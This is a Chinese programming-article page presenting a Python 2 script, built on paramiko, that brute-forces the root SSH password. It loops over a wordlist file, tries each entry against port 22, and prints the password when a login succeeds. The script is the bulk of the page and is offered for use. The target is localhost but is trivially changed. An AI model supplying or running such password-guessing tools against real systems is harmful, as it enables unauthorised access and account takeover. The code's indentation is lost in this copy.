欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

利用python暴力破解root密码实例代码

程序员文章站 2022-04-04 08:57:14
...
环境准备:

1、安装paramiko模块

2、服务器ssh服务开启22号端口

下面请看代码

#!/usr/bin/py

#-*- coding: utf-8 -*-

import paramiko

ssh = paramiko.SSHClient() #实例化类

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes

d = file('/root/a.txt') #字典文件路径

for i in d.xreadlines(): #循环密码字典

i = i.strip() #去掉前后的空格

if not i: #如果值为空则进入下一轮循环

continue

try:

#开始尝试密码

ssh.connect(hostname='localhost', port=22, username='root', password=i)

print 'root密码是',i #如果密码正确则打印密码

break #跳出循环

except:

continue #如果密码错误则进入下一轮循环

else:

print '没有破解root密码,请更换字典重新尝试' #如果没有匹配到密码

以上就是利用python暴力破解root密码实例代码的详细内容,更多请关注其它相关文章!

相关标签: python root密码